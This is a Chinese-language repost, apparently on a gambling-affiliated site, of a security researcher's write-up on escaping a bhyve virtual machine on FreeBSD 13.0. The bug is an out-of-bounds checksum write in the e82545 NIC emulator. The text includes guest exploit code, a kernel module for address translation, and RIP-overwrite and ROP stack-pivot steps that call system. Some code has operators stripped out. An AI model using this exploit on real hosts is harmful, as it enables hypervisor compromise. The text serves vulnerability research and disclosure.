dhyve逃逸:freebsd系统的虚拟机逃逸漏洞 | 宜武汇-ag真人国际厅网站

文章目录:

原文链接:
翻译感受:这篇文章主要关注于操作系统的漏洞利用,并且有详细的过程分析。

bhyve是freebsd的一种虚拟化程序。本篇文章描述了如何将适配器模拟器中的限制oob写入漏洞转化为代码执行漏洞,从而实现逃离虚拟机的目的。介绍如下:

介绍

早在2017年,我曾在phrack杂志上发表过一篇关于qemu中的虚拟机逃逸的文章。漏洞存在于两个网卡的设备模拟器中:rtl8139和pcnet。在reno robert在同一期的phrack杂志上发表了有关bhyve中几个虚拟机逃脱的论文之后,我决定审计可用的网络设备仿真器的代码。

amd pcnet仿真器中的错误与插入分配缓冲区限制之外的校验和有关。我在pci e82545仿真器中发现了类似的漏洞,位于udp数据包校验和被插入到受控索引处。接下来,我将介绍如何将两个字节的基于堆栈的溢出转化为代码执行。

环境

由于我没有在计算机上安装freebsd,因此我需要启用嵌套虚拟化的qemu/kvm虚拟机中运行bhyve hypervisor。主机机器正在运行freebsd 13.0-release releng/13.0。客户端虚拟机也是一个由vm-bhyve管理的freebsd,其配置如下:

root@freelsd:~ # vm configure freebsd loader="bhyveload" cpu=1 memory=2048m network0_type="e1000" network0_switch="target" network0_mac="58:9c:fc:0f:b4:44" network1_type="virtio-net" network1_switch="ssh" network1_mac="58:9c:fc:04:49:ac" disk0_type="virtio-blk" disk0_name="disk0.img" 

e82545 仿真器 数据包传输

函数e82545_transmit(pci_e82545.c)负责传输数据包。该函数遍历数据包描述符的环形缓冲区,并填充一个iovec结构的缓冲区:

有三种类型的数据包描述符:

  • e1000_txd_typ_c:这种类型是上下文描述符。相关的数据结构(e1000_context_desc)编码,包含了标头和有效载荷长度以及ip和tcp校验和偏移量等信息。
  • e1000_txd_typ_d:这个类型是数据描述符。相关的数据结构(e1000_data_desc)保存数据缓冲区物理地址的指针。
  • e1000_txd_typ_l:这个类型是传统的数据描述符。

数据包通过调用e82545_transmit_backend提交,最终会调用以下函数:

nic 网卡设置

为了触发我们的漏洞,我们首先需要设置网卡。e1000网络适配器有几个寄存器可以通过in*()out*()原语(来自machine/cpufunc.h)进行配置。这里需要注意,这些函数在linux头文件sys/io.h中的默认配置与freebsd中不同,所以在弄清楚参数端口和数据在freebsd中交换之前,我遇到了一些错误配置。

这里需要的是配置tx描述符的环形缓冲区:

tx_size = tx_nb * sizeof(union e1000_tx_udesc); tx_ring = aligned_alloc(page_size, tx_size); memset(tx_ring, 0, tx_size); for(int i = 0; i < tx_nb; i) { buffer = aligned_alloc(page_size, buff_size); memcpy(buffer, packet, sizeof(packet)); tx_buffer[i] = buffer; addr = gva_to_gpa(buffer); warnx("tx ring buffer at 0x%"prix64"\n", addr); tx_ring[i].dd.buffer_addr = addr; }; 

对于每个tx描述符,我们都需要提供保存要传输数据的缓冲区的物理地址。但是我没有在用户空间找到任何暴露的接口(例如/proc中没有pagemap)将虚拟地址转换为物理地址。所以,我自己编写了一个小型内核模块(pt.ko),用于执行这种转换:

#include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  struct pt_args { vm_offset_t vaddr; uint64_t *res; }; static int pt(struct thread *td, void *args) { struct pmap *pmap; struct pt_args *user = args; vm_offset_t vaddr = user->vaddr; uint64_t *res = user->res; uint64_t paddr; pmap = &td->td_proc->p_vmspace->vm_pmap; paddr = pmap_extract(pmap, vaddr); return copyout(&paddr, res, sizeof(uint64_t)); } static struct sysent pt_sysent = { .sy_narg = 2, .sy_call = pt }; static int offset=no_syscall; static int load(struct module *module, int cmd, void *arg) { int error=0; switch(cmd) { case mod_load: uprintf("loading syscall at offset %d\n", offset); break; case mod_unload: uprintf("unloading syscall from offset %d\n", offset); break; default: error=eopnotsupp; break; } return error; } syscall_module(pt, &offset, &pt_sysent, load, null); 

最后一步就是更新适配器中的描述符表地址了:

warnx("disable tx"); e1000_tx_disable(); addr = gva_to_gpa(tx_ring); warnx("update tx desc table"); e1000_write_reg(tdbal, (uint32_t)addr); /* desc table addr, low bits */ e1000_write_reg(tdbah, addr >> 32); /* desc table addr, hi 32-bits */ e1000_write_reg(tdlen, tx_size); /* # descriptors in bytes */ e1000_write_reg(tdh, 0); /*desc table head idx */ warnx("enable tx"); e1000_tx_enable(); 

漏洞挖掘

漏洞存在于e82545_transmit函数中。就像以下代码片段所示,如果启用了tcp分段卸载(例如tso == 1),则从数据包上下文描述符中检索数据包头的长度(hdrlen)。

代码确保长度值不超过240字节的最大大小,并检查长度是否足够插入vlan标记、ip和tcp校验和。

但是在非tcp数据包(例如udp数据包)的情况下,没有对校验和偏移量(ckinfo[1].ck_off)进行检查。

[1]处缺失的检查导致[3]处和[4]处中的oob读取和写入。该漏洞允许攻击者在[2]处分配给超过堆栈的限制的数据包头,来编写受控数据(计算的校验和)。

e82545_transmit(struct e82545_softc *sc, uint16_t head, uint16_t tail, uint16_t dsize, uint16_t *rhead, int *tdwb) { /* ... */ /* simple non-tso case. */ if (!tso) { /* ... */ } else { /* in case of tso header length provided by software. */ hdrlen = sc->esc_txctx.tcp_seg_setup.fields.hdr_len; if (hdrlen > 240) { wprintf("tso hdrlen too large: %d", hdrlen); goto done; } if (vlen != 0 && hdrlen < ether_addr_len*2) { wprintf("tso hdrlen too small for vlan insertion " "(%d vs %d) -- dropped", hdrlen, ether_addr_len*2); goto done; } if (hdrlen < ckinfo[0].ck_start  6 || hdrlen < ckinfo[0].ck_off  2) { wprintf("tso hdrlen too small for ip fields (%d) " "-- dropped", hdrlen); goto done; } if (sc->esc_txctx.cmd_and_length & e1000_txd_cmd_tcp) { if (hdrlen < ckinfo[1].ck_start  14 || (ckinfo[1].ck_valid && hdrlen < ckinfo[1].ck_off  2)) { wprintf("tso hdrlen too small for tcp fields " "(%d) -- dropped", hdrlen); goto done; } } else { if (hdrlen < ckinfo[1].ck_start  8) { wprintf("tso hdrlen too small for udp fields " "(%d) -- dropped", hdrlen); // [1] missing check on ckinfo[1].ck_off goto done; } } } /* allocate, fill and prepend writable header vector. */ if (hdrlen != 0) { // [2] allocation of vulnerable buffer hdr = __builtin_alloca(hdrlen  vlen); /* ...*/ } /* ... */ /* doing tso. */ if (ckinfo[1].ck_valid) /* save partial pseudo-header checksum. */ tcpcs = *(uint16_t *)&hdr[ckinfo[1].ck_off]; // [3] oob read /* ... */ pv = 1; pvoff = 0; for (seg = 0, left = paylen; left > 0; seg, left -= now) { /* ... */ /* calculate checksums and transmit. */ if (ckinfo[0].ck_valid) { *(uint16_t *)&hdr[ckinfo[0].ck_off] = ipcs; e82545_transmit_checksum(tiov, tiovcnt, &ckinfo[0]); } if (ckinfo[1].ck_valid) { *(uint16_t *)&hdr[ckinfo[1].ck_off] = e82545_carry(tcpsum); // [4] oob write e82545_transmit_checksum(tiov, tiovcnt, &ckinfo[1]); } e82545_transmit_backend(sc, tiov, tiovcnt); } /* ... */ } 

该漏洞于2022年3月7日向freebsd安全团队进行了报告。一个安全通告 robert在2019年报告了类似的问题(cve-2019-5609

虚拟机逃逸

内存泄漏

该漏洞允许在任意偏移量处写入两个受控字节。然而,偏移量只有1字节大小,这限制了攻击场景的使用。

根据下面显示的堆栈布局,通常目标(保存的指令指针、保存的帧指针)无法从分配的易受攻击的缓冲区中获得。尽管如此,hdr指针仍然可以被中断:

hdr指针会在分段循环中使用,如下所示:

pv = 1; pvoff = 0; for (seg = 0, left = paylen; left > 0; seg, left -= now) { now = min(left, mss); /* construct iovs for the segment. */ /* include whole original header. */ tiov[0].iov_base = hdr; tiov[0].iov_len = hdrlen; tiovcnt = 1; /* include respective part of payload iov. */ for (nleft = now; pv < iovcnt && nleft > 0; nleft -= nnow) { nnow = min(nleft, iov[pv].iov_len - pvoff); tiov[tiovcnt].iov_base = iov[pv].iov_base  pvoff; tiov[tiovcnt].iov_len = nnow; if (pvoff  nnow == iov[pv].iov_len) { pv; pvoff = 0; } else pvoff  = nnow; /* ... */ e82545_transmit_backend(sc, tiov, tiovcnt); } 

通过调整hdr指针的2个低位字节,可以泄漏堆栈内容的一部分。如果在主机中启用数据包转发功能(在/etc/rc.conf中设置gateway_enable=”yes”),那么我们就可以获取包含泄漏内存的udp数据包。

在客户端机器上运行tcpdump数据包工具后将显示多个堆栈指针:

代码执行

非常不可思议的是,在freebsd 13.0-release#0系统上默认情况下未启用aslr(空间地址随机化保护)。因此,没有泄漏bhyve进程内存的必要。

如前一节所示,通过打断并获取hdr指针,可以强制让主机泄漏bhyve进程堆栈的一部分。特别是如果我们有多个段的话,破坏hdr指针是很方便的。

我们可以在第一个迭代循环过程中中更改hdr指针的2个低位字节,并利用在第二个迭代循环期间更新hdr缓冲区的多个写入。以下负责更新ip头的代码片段允许我们在受控偏移量处写入受控dword:

for (seg = 0, left = paylen; left > 0; seg, left -= now) { now = min(left, mss); /* ... */ /* update ip header. */ if (sc->esc_txctx.cmd_and_length & e1000_txd_cmd_ip) { /* ipv4 -- set length and id */ *(uint16_t *)&hdr[ckinfo[0].ck_start  2] = htons(hdrlen - ckinfo[0].ck_start  now); *(uint16_t *)&hdr[ckinfo[0].ck_start  4] = htons(ipid  seg); } /* ... */ } 

请注意,这样操作之后udp数据包也将被更新(有效载荷长度、校验和),这可能会导致parasite写入。

使用上述对hdr缓冲区的修改方法,我们可以像下面这样覆盖保存的指令指针:

/* corrupt saved rip */ hdrlen = 32; hdroff = 0x90; ipcss = 12; tucss = 0; mss = htons(pop_rbp & 0xffff) - hdrlen  ipcss; // what_low paylen = 2 * mss; pktlen = paylen  hdrlen; tx_cd.upper_setup.tcp_fields.tucss = tucss; tx_cd.upper_setup.tcp_fields.tucse = tucss1; tx_cd.cmd_and_length = paylen; tx_cd.cmd_and_length |= e1000_txd_typ_c; tx_cd.cmd_and_length |= e1000_txd_cmd_ip; tx_cd.tcp_seg_setup.fields.status = 0; tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; tx_cd.tcp_seg_setup.fields.mss = mss; write_off = saved_rip_off - ipcss - 2; *(uint16_t *)(tx_buffer[head  1]  tucss) = ~write_off; // where *(uint16_t *)(tx_buffer[head  1]  ipcss  4) = make_word(pop_rbp, 1); // what_high e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); 

第一次看,我们可能会尝试破坏保存的帧指针,并将其指向存储在我们rop链的原始hdr缓冲区的开头。然而,函数e82545_transmit是从不包含返回的e82545_tx_thread中调用的。

因此,我们决定多次使用相对oob写入原语,方便构建调用system的rop链。编写完整的rop链仍然具有困难,因为调用线程的堆栈帧空间非常有限。我们需要注意写入空间大小,以避免超出分配给e82545_tx线程的堆栈限制。为了克服这些限制,我们可以编写一个小型链,然后将堆栈移动到存储负责调用系统的有效载荷的原始hdr缓冲区的开头。

为了避免将用于写入原语的数据与用作rop链一部分的数据混合在一起,我需要首先在堆栈中重载我的有效载荷。

在利用相对oob写入原语之前,我们需要发送一个强制分配大标题的第一个数据包(220字节是我们可以分配的最大长度),并对后续分配使用较小的长度大小。

利用oob写入原语四次,就可以编写由pop rbb和leave机器人组成的rop链。这个最小化的阶段允许像下面的图片所示一样,就像一个旋转堆栈到hdr缓冲区的初始分配地址,其中包含调用system的有效载荷:

capsicum 沙盒

该漏洞可以在未启用capsicum沙盒(without_capsicum)的bhyve管理程序上工作。capsicum沙盒将阻止运行calc,因为syscall execve(和许多其他syscall)被过滤掉了。我没有找到办法来绕过capsicum沙盒的方法。

对于那些感兴趣的人,我强烈推荐阅读reno robert的phrack论文(它在其中介绍了一种新型绕过沙盒的技术。

原文链接:https://xz.aliyun.com/t/12540

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/dhyve逃逸:freebsd系统的虚拟机逃逸漏洞/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图